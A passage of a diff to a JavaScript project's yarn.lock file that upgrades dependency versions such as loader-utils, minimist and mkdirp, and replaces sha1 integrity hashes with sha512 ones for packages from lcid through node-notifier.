+  integrity sha512-RE2g0b5VGZsOCFOCgP7omTRYFqydmZkBwl5oNnQ1lDYC57uyO9KqNnNVxT7COSHTxrRCWVcAVOcbjk+tvh/rgQ==
 
 lcid@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/lcid/-/lcid-1.0.0.tgz#308accafa0bc483a3867b4b6f2b9506251d1b835"
-  integrity sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=
+  integrity sha512-YiGkH6EnGrDGqLMITnGjXtGmNtjoXw9SVUzcaos8RBi7Ps0VBylkq+vOcY9QE5poLasPCR849ucFUkl0UzUyOw==
   dependencies:
     invert-kv "^1.0.0"
 
 leven@^2.1.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/leven/-/leven-2.1.0.tgz#c2e7a9f772094dee9d34202ae8acce4687875580"
-  integrity sha1-wuep93IJTe6dNCAq6KzORoeHVYA=
+  integrity sha512-nvVPLpIHUxCUoRLrFqTgSxXJ614d8AgQoWl7zPe/2VadE8+1dpU3LBhowRuBAcuwruWtOdD8oYC9jDNJjXDPyA==
 
 levn@^0.3.0, levn@~0.3.0:
   version "0.3.0"
   resolved "https://registry.yarnpkg.com/levn/-/levn-0.3.0.tgz#3b09924edf9f083c0490fdd4c0bc4421e04764ee"
-  integrity sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=
+  integrity sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==
   dependencies:
     prelude-ls "~1.1.2"
     type-check "~0.3.2"
@@ -5016,7 +5314,7 @@ levn@^0.3.0, levn@~0.3.0:
 load-json-file@^1.0.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/load-json-file/-/load-json-file-1.1.0.tgz#956905708d58b4bab4c2261b04f59f31c99374c0"
-  integrity sha1-lWkFcI1YtLq0wiYbBPWfMcmTdMA=
+  integrity sha512-cy7ZdNRXdablkXYNI049pthVeXFurRyb9+hA/dZzerZ0pGTx42z+y+ssxBaVV2l70t1muq5IdKhn4UtcoGUY9A==
   dependencies:
     graceful-fs "^4.1.2"
     parse-json "^2.2.0"
@@ -5027,7 +5325,7 @@ load-json-file@^1.0.0:
 load-json-file@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/load-json-file/-/load-json-file-2.0.0.tgz#7947e42149af80d696cbf797bcaabcfe1fe29ca8"
-  integrity sha1-eUfkIUmvgNaWy/eXvKq8/h/inKg=
+  integrity sha512-3p6ZOGNbiX4CdvEd1VcE6yi78UrGNpjHO33noGwHCnT/o2fyllJDepsm8+mFFv/DvtwFHht5HIHSyOy5a+ChVQ==
   dependencies:
     graceful-fs "^4.1.2"
     parse-json "^2.2.0"
@@ -5050,7 +5348,7 @@ loader-runner@^2.3.0:
 loader-utils@^0.2.16:
   version "0.2.17"
   resolved "https://registry.yarnpkg.com/loader-utils/-/loader-utils-0.2.17.tgz#f86e6374d43205a6e6c60e9196f17c0299bfb348"
-  integrity sha1-+G5jdNQyBabmxg6RlvF8Apm/s0g=
+  integrity sha512-tiv66G0SmiOx+pLWMtGEkfSEejxvb6N6uRrQjfWJIT79W9GMpgKeCAmm9aVBKtd4WEgntciI8CsGqjpDoCWJug==
   dependencies:
     big.js "^3.1.3"
     emojis-list "^2.0.0"
@@ -5058,9 +5356,9 @@ loader-utils@^0.2.16:
     object-assign "^4.0.1"
 
 loader-utils@^1.0.2, loader-utils@^1.1.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/loader-utils/-/loader-utils-1.4.0.tgz#c579b5e34cb34b1a74edc6c1fb36bfa371d5a613"
-  integrity sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==
+  version "1.4.2"
+  resolved "https://registry.yarnpkg.com/loader-utils/-/loader-utils-1.4.2.tgz#29a957f3a63973883eb684f10ffd3d151fec01a3"
+  integrity sha512-I5d00Pd/jwMD2QCduo657+YM/6L3KZu++pmX9VFncxaxvHcru9jx1lBaFft+r4Mt2jK0Yhp41XlRAihzPxHNCg==
   dependencies:
     big.js "^5.2.2"
     emojis-list "^3.0.0"
@@ -5069,7 +5367,7 @@ loader-utils@^1.0.2, loader-utils@^1.1.0:
 locate-path@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-2.0.0.tgz#2b568b265eec944c6d9c0de9c3dbbbca0354cd8e"
-  integrity sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=
+  integrity sha512-NCI2kiDkyR7VeEKm27Kda/iQHyKJe1Bu0FlTbYp3CqJu+9IFe9bLyAjMxf5ZDDbEg+iMPzB5zYyUTSm8wVTKmA==
   dependencies:
     p-locate "^2.0.0"
     path-exists "^3.0.0"
@@ -5077,22 +5375,22 @@ locate-path@^2.0.0:
 lodash._reinterpolate@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/lodash._reinterpolate/-/lodash._reinterpolate-3.0.0.tgz#0ccf2d89166af03b3663c796538b75ac6e114d9d"
-  integrity sha1-DM8tiRZq8Ds2Y8eWU4t1rG4RTZ0=
+  integrity sha512-xYHt68QRoYGjeeM/XOE1uJtvXQAgvszfBhjV4yvsQH0u2i9I6cI6c6/eG4Hh3UAOVn0y/xAXwmTzEay49Q//HA==
 
 lodash.camelcase@^4.3.0:
   version "4.3.0"
   resolved "https://registry.yarnpkg.com/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz#b28aa6288a2b9fc651035c7711f65ab6190331a6"
-  integrity sha1-soqmKIorn8ZRA1x3EfZathkDMaY=
+  integrity sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA==
 
 lodash.cond@^4.3.0:
   version "4.5.2"
   resolved "https://registry.yarnpkg.com/lodash.cond/-/lodash.cond-4.5.2.tgz#f471a1da486be60f6ab955d17115523dd1d255d5"
-  integrity sha1-9HGh2khr5g9quVXRcRVSPdHSVdU=
+  integrity sha512-RWjUhzGbzG/KfDwk+onqdXvrsNv47G9UCMJgSKalPTSqJQyxZhQophG9jgqLf+15TIbZ5a/yG2YKOWsH3dVy9A==
 
 lodash.defaults@^4.2.0:
   version "4.2.0"
   resolved "https://registry.yarnpkg.com/lodash.defaults/-/lodash.defaults-4.2.0.tgz#d09178716ffea4dde9e5fb7b37f6f0802274580c"
-  integrity sha1-0JF4cW/+pN3p5ft7N/bwgCJ0WAw=
+  integrity sha512-qjxPLHd3r5DnsdGacqOMU6pb/avJzdh9tFX2ymgoZE27BmjXrNy/y4LoaiTeAb+O3gL8AfpJGtqfX/ae2leYYQ==
 
 lodash.memoize@^4.1.2:
   version "4.1.2"
@@ -5119,22 +5417,22 @@ lodash.uniq@^4.5.0:
   resolved "https://registry.yarnpkg.com/lodash.uniq/-/lodash.uniq-4.5.0.tgz#d0225373aeb652adc1bc82e4945339a842754773"
   integrity sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=
 
-"lodash@>=3.5 <5", lodash@^4.15.0, lodash@^4.17.14, lodash@^4.17.2, lodash@^4.17.20, lodash@^4.17.3, lodash@^4.17.4, lodash@^4.3.0:
+"lodash@>=3.5 <5", lodash@^4.15.0, lodash@^4.17.14, lodash@^4.17.2, lodash@^4.17.20, lodash@^4.17.21, lodash@^4.17.3, lodash@^4.17.4, lodash@^4.3.0:
   version "4.17.21"
   resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c"
   integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==
 
 loglevel@^1.4.1:
-  version "1.7.1"
-  resolved "https://registry.yarnpkg.com/loglevel/-/loglevel-1.7.1.tgz#005fde2f5e6e47068f935ff28573e125ef72f197"
-  integrity sha512-Hesni4s5UkWkwCGJMQGAh71PaLUmKFM60dHvq0zi/vDhhrzuk+4GgNbTXJ12YYQJn6ZKBDNIjYcuQGKudvqrIw==
+  version "1.9.2"
+  resolved "https://registry.yarnpkg.com/loglevel/-/loglevel-1.9.2.tgz#c2e028d6c757720107df4e64508530db6621ba08"
+  integrity sha512-HgMmCqIJSAKqo68l0rS2AanEWfkxaZ5wNiEFb5ggm08lDs9Xl2KxBlX3PTcaD2chBM1gXAYf491/M2Rv8Jwayg==
 
 longest@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/longest/-/longest-1.0.1.tgz#30a0b2da38f73770e8294a0d22e6625ed77d0097"
-  integrity sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=
+  integrity sha512-k+yt5n3l48JU4k8ftnKG6V7u32wyH2NfKzeMto9F/QRE0amxy/LayxwlvjjkZEIzqR+19IrtFO8p5kB9QaYUFg==
 
-loose-envify@^1.0.0, loose-envify@^1.1.0, loose-envify@^1.3.1, loose-envify@^1.4.0:
+loose-envify@^1.0.0, loose-envify@^1.4.0:
   version "1.4.0"
   resolved "https://registry.yarnpkg.com/loose-envify/-/loose-envify-1.4.0.tgz#71ee51fa7be4caec1a63839f7e682d8132d30caf"
   integrity sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==
@@ -5144,7 +5442,7 @@ loose-envify@^1.0.0, loose-envify@^1.1.0, loose-envify@^1.3.1, loose-envify@^1.4
 loud-rejection@^1.0.0:
   version "1.6.0"
   resolved "https://registry.yarnpkg.com/loud-rejection/-/loud-rejection-1.6.0.tgz#5b46f80147edee578870f086d04821cf998e551f"
-  integrity sha1-W0b4AUft7leIcPCG0Eghz5mOVR8=
+  integrity sha512-RPNliZOFkqFumDhvYqOaNY4Uz9oJM2K9tC6JWsJJsNdhuONW4LQHRBpb0qf4pJApVffI5N39SwzWZJuEhfd7eQ==
   dependencies:
     currently-unhandled "^0.4.1"
     signal-exit "^3.0.0"
@@ -5152,7 +5450,7 @@ loud-rejection@^1.0.0:
 lower-case@^1.1.1:
   version "1.1.4"
   resolved "https://registry.yarnpkg.com/lower-case/-/lower-case-1.1.4.tgz#9a2cabd1b9e8e0ae993a4bf7d5875c39c42e8eac"
-  integrity sha1-miyr0bno4K6ZOkv31YdcOcQujqw=
+  integrity sha512-2Fgx1Ycm599x+WGpIYwJOvsjmXFzTSc34IwDWALRA/8AopUKAVPwfJ+h5+f85BCp0PWmmJcWzEpxOpoXycMpdA==
 
 lowercase-keys@^1.0.0:
   version "1.0.1"
@@ -5174,34 +5472,39 @@ make-dir@^1.0.0:
   dependencies:
     pify "^3.0.0"
 
-makeerror@1.0.x:
-  version "1.0.11"
-  resolved "https://registry.yarnpkg.com/makeerror/-/makeerror-1.0.11.tgz#e01a5c9109f2af79660e4e8b9587790184f5a96c"
-  integrity sha1-4BpckQnyr3lmDk6LlYd5AYT1qWw=
+makeerror@1.0.12:
+  version "1.0.12"
+  resolved "https://registry.yarnpkg.com/makeerror/-/makeerror-1.0.12.tgz#3e5dd2079a82e812e983cc6610c4a2cb0eaa801a"
+  integrity sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==
   dependencies:
-    tmpl "1.0.x"
+    tmpl "1.0.5"
 
 map-cache@^0.2.2:
   version "0.2.2"
   resolved "https://registry.yarnpkg.com/map-cache/-/map-cache-0.2.2.tgz#c32abd0bd6525d9b051645bb4f26ac5dc98a0dbf"
-  integrity sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=
+  integrity sha512-8y/eV9QQZCiyn1SprXSrCmqJN0yNRATe+PO8ztwqrvrbdRLA3eYJF0yaR0YayLWkMbsQSKWS9N2gPcGEc4UsZg==
 
 map-obj@^1.0.0, map-obj@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/map-obj/-/map-obj-1.0.1.tgz#d933ceb9205d82bdcf4886f6742bdc2b4dea146d"
-  integrity sha1-2TPOuSBdgr3PSIb2dCvcK03qFG0=
+  integrity sha512-7N/q3lyZ+LVCp7PzuxrJr4KMbBE2hW7BT7YNia330OFxIf4d3r5zVpicP2650l7CPN6RM9zOJRl3NGpqSiw3Eg==
 
 map-visit@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/map-visit/-/map-visit-1.0.0.tgz#ecdca8f13144e660f1b5bd41f12f3479d98dfb8f"
-  integrity sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=
+  integrity sha512-4y7uGv8bd2WdM9vpQsiQNo41Ln1NvhvDRuVt0k2JZQ+ezN2uaQes7lZeZ+QQUHOLQAtDaBJ+7wCbi+ab/KFs+w==
   dependencies:
     object-visit "^1.0.0"
 
 math-expression-evaluator@^1.2.14:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/math-expression-evaluator/-/math-expression-evaluator-1.3.6.tgz#fb8c447110093dd5f32e7aec877dd247e3c98eb1"
-  integrity sha512-gbzsZEUgefao+OqOUOr03GlpjkdOySxVNHQDuiUZXPbLHgDZqiMtOgDSxuzBEtyt9BDXWS503a16bAmlJW/oFA==
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/math-expression-evaluator/-/math-expression-evaluator-1.4.0.tgz#3d66031117fbb7b9715ea6c9c68c2cd2eebd37e2"
+  integrity sha512-4vRUvPyxdO8cWULGTh9dZWL2tZK6LDBvj+OGHBER7poH9Qdt7kXEoj20wiz4lQUbUXQZFjPbe5mVDo9nutizCw==
+
+math-intrinsics@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/math-intrinsics/-/math-intrinsics-1.1.0.tgz#a0dd74be81e2aa5c2f27e65ce283605ee4e2b7f9"
+  integrity sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==
 
 math-random@^1.0.1:
   version "1.0.4"
@@ -5225,14 +5528,14 @@ media-typer@0.3.0:
 mem@^1.1.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/mem/-/mem-1.1.0.tgz#5edd52b485ca1d900fe64895505399a0dfa45f76"
-  integrity sha1-Xt1StIXKHZAP5kiVUFOZoN+kX3Y=
+  integrity sha512-nOBDrc/wgpkd3X/JOhMqYR+/eLqlfLP4oQfoBA6QExIxEl+GU01oyEkwWyueyO8110pUKijtiHGhEmYoOn88oQ==
   dependencies:
     mimic-fn "^1.0.0"
 
 memory-fs@^0.4.0, memory-fs@~0.4.1:
   version "0.4.1"
   resolved "https://registry.yarnpkg.com/memory-fs/-/memory-fs-0.4.1.tgz#3a9a20b8462523e447cfbc7e8bb80ed667bfc552"
-  integrity sha1-OpoguEYlI+RHz7x+i7gO1me/xVI=
+  integrity sha512-cda4JKCxReDXFXRqOHPQscuIYg1PvxbE2S2GP45rnwfEK+vZaXC8C1OFvdHIbgw0DLzowXGVoxLaAmlgRy14GQ==
   dependencies:
     errno "^0.1.3"
     readable-stream "^2.0.1"
@@ -5240,7 +5543,7 @@ memory-fs@^0.4.0, memory-fs@~0.4.1:
 meow@^3.3.0, meow@^3.7.0:
   version "3.7.0"
   resolved "https://registry.yarnpkg.com/meow/-/meow-3.7.0.tgz#72cb668b425228290abbfa856892587308a801fb"
-  integrity sha1-cstmi0JSKCkKu/qFaJJYcwioAfs=
+  integrity sha512-TNdwZs0skRlpPpCUK25StC4VH+tP5GgeY1HQOOGP+lQ2xtdkN2VtT/5tiX9k3IWpkBPV9b3LsAWXn4GGi/PrSA==
   dependencies:
     camelcase-keys "^2.0.0"
     decamelize "^1.1.2"
@@ -5253,10 +5556,10 @@ meow@^3.3.0, meow@^3.7.0:
     redent "^1.0.0"
     trim-newlines "^1.0.0"
 
-merge-descriptors@1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.1.tgz#b00aaa556dd8b44568150ec9d1b953f3f90cbb61"
-  integrity sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=
+merge-descriptors@1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.3.tgz#d80319a65f3c7935351e5cfdac8f9318504dbed5"
+  integrity sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==
 
 merge@^1.2.0:
   version "1.2.1"
@@ -5271,7 +5574,7 @@ methods@~1.1.2:
 micromatch@^2.1.5, micromatch@^2.3.11:
   version "2.3.11"
   resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-2.3.11.tgz#86677c97d1720b363431d04d0d15293bd38c1565"
-  integrity sha1-hmd8l9FyCzY0MdBNDRUpO9OMFWU=
+  integrity sha512-LnU2XFEk9xxSJ6rfgAry/ty5qwUTyHYOBU0g4R6tIw5ljwgGIBmiKhRWLw5NpMOnrgUNcDJ4WMp8rl3sYVHLNA==
   dependencies:
     arr-diff "^2.0.0"
     array-unique "^0.2.1"
@@ -5319,18 +5622,30 @@ mime-db@1.44.0:
   resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.44.0.tgz#fa11c5eb0aca1334b4233cb4d52f10c5a6272f92"
   integrity sha512-/NOTfLrsPBVeH7YtFPgsVWveuL+4SjjYxaQ1xtM1KMFj7HdxlBlxeyNLzhyJVx7r4rZGJAZ/6lkKCitSc/Nmpg==
 
+mime-db@1.52.0:
+  version "1.52.0"
+  resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.52.0.tgz#bbabcdc02859f4987301c856e3387ce5ec43bf70"
+  integrity sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==
+
 "mime-db@>= 1.43.0 < 2":
   version "1.45.0"
   resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.45.0.tgz#cceeda21ccd7c3a745eba2decd55d4b73e7879ea"
   integrity sha512-CkqLUxUk15hofLoLyljJSrukZi8mAtgd+yE5uO4tqRZsdsAJKv0O+rFMhVDRJgozy+yG6md5KwuXhD4ocIoP+w==
 
-mime-types@^2.1.12, mime-types@~2.1.17, mime-types@~2.1.19, mime-types@~2.1.24:
+mime-types@^2.1.12, mime-types@~2.1.17, mime-types@~2.1.24:
   version "2.1.27"
   resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.27.tgz#47949f98e279ea53119f5722e0f34e529bec009f"
   integrity sha512-JIhqnCasI9yD+SsmkquHBxTSEuZdQX5BuQnS2Vc7puQQQ+8yiP5AY5uWhpdv4YL4VM5c6iliiYWPgJ/nJQLp7w==
   dependencies:
     mime-db "1.44.0"
 
+mime-types@~2.1.19, mime-types@~2.1.34:
+  version "2.1.35"
+  resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.35.tgz#381a871b62a734450660ae3deee44813f70d959a"
+  integrity sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==
+  dependencies:
+    mime-db "1.52.0"
+
 mime@1.6.0, mime@^1.4.1, mime@^1.5.0:
   version "1.6.0"
   resolved "https://registry.yarnpkg.com/mime/-/mime-1.6.0.tgz#32cd9e5c64553bd58d19a568af452acff04981b1"
@@ -5346,26 +5661,38 @@ minimalistic-assert@^1.0.0, minimalistic-assert@^1.0.1:
   resolved "https://registry.yarnpkg.com/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz#2e194de044626d4a10e7f7fbc00ce73e83e4d5c7"
   integrity sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==
 
-minimalistic-crypto-utils@^1.0.0, minimalistic-crypto-utils@^1.0.1:
+minimalistic-crypto-utils@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz#f6c00c1c0b082246e5c4d99dfb8c7c083b2b582a"
-  integrity sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo=
+  integrity sha512-JIYlbt6g8i5jKfJ3xz7rF0LXmv2TkDxBLUkiBeZ7bAx4GnnNMr8xFpGnOxn6GhTEHx3SjRrZEoU+j04prX1ktg==
 
 minimatch@3.0.3:
   version "3.0.3"
   resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.3.tgz#2a4e4090b96b2db06a9d7df01055a62a77c9b774"
-  integrity sha1-Kk5AkLlrLbBqnX3wEFWmKnfJt3Q=
+  integrity sha512-NyXjqu1IwcqH6nv5vmMtaG3iw7kdV3g6MwlUBZkc3Vn5b5AMIWYKfptvzipoyFfhlfOgBQ9zoTxQMravF1QTnw==
   dependencies:
     brace-expansion "^1.0.0"
 
-minimatch@^3.0.2, minimatch@^3.0.3, minimatch@^3.0.4:
+minimatch@^3.0.2, minimatch@^3.0.3, minimatch@^3.1.1:
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b"
+  integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==
+  dependencies:
+    brace-expansion "^1.1.7"
+
+minimatch@^3.0.4:
   version "3.0.4"
   resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.4.tgz#5166e286457f03306064be5497e8dbb0c3d32083"
   integrity sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==
   dependencies:
     brace-expansion "^1.1.7"
 
-minimist@^1.1.1, minimist@^1.1.3, minimist@^1.2.0, minimist@^1.2.5:
+minimist@^1.1.1, minimist@^1.1.3, minimist@^1.2.6:
+  version "1.2.8"
+  resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.8.tgz#c1a464e7693302e082a075cee0c057741ac4772c"
+  integrity sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==
+
+minimist@^1.2.0, minimist@^1.2.5:
   version "1.2.5"
   resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.5.tgz#67d66014b66a6a8aaa0c083c5fd58df4e4e97602"
   integrity sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==
@@ -5378,7 +5705,14 @@ mixin-deep@^1.2.0:
     for-in "^1.0.2"
     is-extendable "^1.0.1"
 
-mkdirp@^0.5.1, mkdirp@^0.5.5, mkdirp@~0.5.0, mkdirp@~0.5.1:
+mkdirp@^0.5.1, mkdirp@^0.5.6, mkdirp@~0.5.0:
+  version "0.5.6"
+  resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.6.tgz#7def03d2432dcae4ba1d611445c48396062255f6"
+  integrity sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==
+  dependencies:
+    minimist "^1.2.6"
+
+mkdirp@~0.5.1:
   version "0.5.5"
   resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.5.tgz#d91cefd62d1436ca0f41620e251288d420099def"
   integrity sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==
@@ -5390,12 +5724,7 @@ ms@2.0.0:
   resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8"
   integrity sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=
 
-ms@2.1.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.1.tgz#30a5864eb3ebb0a66f2ebe6d727af06a09d86e0a"
-  integrity sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==
-
-ms@^2.1.1:
+ms@2.1.3, ms@^2.1.1:
   version "2.1.3"
   resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
   integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==
@@ -5403,7 +5732,7 @@ ms@^2.1.1:
 multicast-dns-service-types@^1.1.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/multicast-dns-service-types/-/multicast-dns-service-types-1.1.0.tgz#899f11d9686e5e05cb91b35d5f0e63b773cfc901"
-  integrity sha1-iZ8R2WhuXgXLkbNdXw5jt3PPyQE=
+  integrity sha512-cnAsSVxIDsYt0v7HmC0hWZFwwXSh+E6PgCrREDuN/EsjgLwA5XRmlMHhSiDPrt6HxY1gTivEa/Zh7GtODoLevQ==
 
 multicast-dns@^6.0.1:
   version "6.2.3"
@@ -5416,12 +5745,12 @@ multicast-dns@^6.0.1:
 mute-stream@0.0.7:
   version "0.0.7"
   resolved "https://registry.yarnpkg.com/mute-stream/-/mute-stream-0.0.7.tgz#3075ce93bc21b8fab43e1bc4da7e8115ed1e7bab"
-  integrity sha1-MHXOk7whuPq0PhvE2n6BFe0ee6s=
+  integrity sha512-r65nCZhrbXXb6dXOACihYApHw2Q6pV0M3V0PSxd74N0+D8nzAdEAITq2oAjA1jVnKI+tGvEBUpqiMh0+rW6zDQ==
 
 nan@^2.12.1:
-  version "2.14.2"
-  resolved "https://registry.yarnpkg.com/nan/-/nan-2.14.2.tgz#f5376400695168f4cc694ac9393d0c9585eeea19"
-  integrity sha512-M2ufzIiINKCuDfBSAUr1vWQ+vuVcA9kqx8JJUsbQi6yf1uGRyb7HfpdfUr5qLXf3B/t8dPvcjhKMmlfnP47EzQ==
+  version "2.22.0"
+  resolved "https://registry.yarnpkg.com/nan/-/nan-2.22.0.tgz#31bc433fc33213c97bad36404bb68063de604de3"
+  integrity sha512-nbajikzWTMwsW+eSsNm3QwlOs7het9gGJU5dDZzRTQGk03vyBOauxgI4VakDzE0PtsGTmXPsXTbbjVhRwR5mpw==
 
 nanomatch@^1.2.9:
   version "1.2.13"
@@ -5450,7 +5779,17 @@ negotiator@0.6.2:
   resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.2.tgz#feacf7ccf525a77ae9634436a64883ffeca346fb"
   integrity sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==
 
-neo-async@^2.5.0, neo-async@^2.6.0:
+negotiator@0.6.3:
+  version "0.6.3"
+  resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.3.tgz#58e323a72fedc0d6f9cd4d31fe49f51479590ccd"
+  integrity sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==
+
+negotiator@~0.6.4:
+  version "0.6.4"
+  resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.4.tgz#777948e2452651c570b712dd01c23e262713fff7"
+  integrity sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==
+
+neo-async@^2.5.0, neo-async@^2.6.2:
   version "2.6.2"
   resolved "https://registry.yarnpkg.com/neo-async/-/neo-async-2.6.2.tgz#b4aafb93e3aeb2d8174ca53cf163ab7d7308305f"
   integrity sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==
@@ -5467,14 +5806,6 @@ no-case@^2.2.0:
   dependencies:
     lower-case "^1.1.1"
 
-node-fetch@^1.0.1:
-  version "1.7.3"
-  resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-1.7.3.tgz#980f6f72d85211a5347c6b2bc18c5b84c3eb47ef"
-  integrity sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==
-  dependencies:
-    encoding "^0.1.11"
-    is-stream "^1.0.1"
-
 node-forge@^0.10.0:
   version "0.10.0"
   resolved "https://registry.yarnpkg.com/node-forge/-/node-forge-0.10.0.tgz#32dea2afb3e9926f02ee5ce8794902691a676bf3"
@@ -5515,9 +5846,9 @@ node-libs-browser@^2.0.0:
     vm-browserify "^1.0.1"
 
 node-notifier@^5.0.2:
-  version "5.4.3"
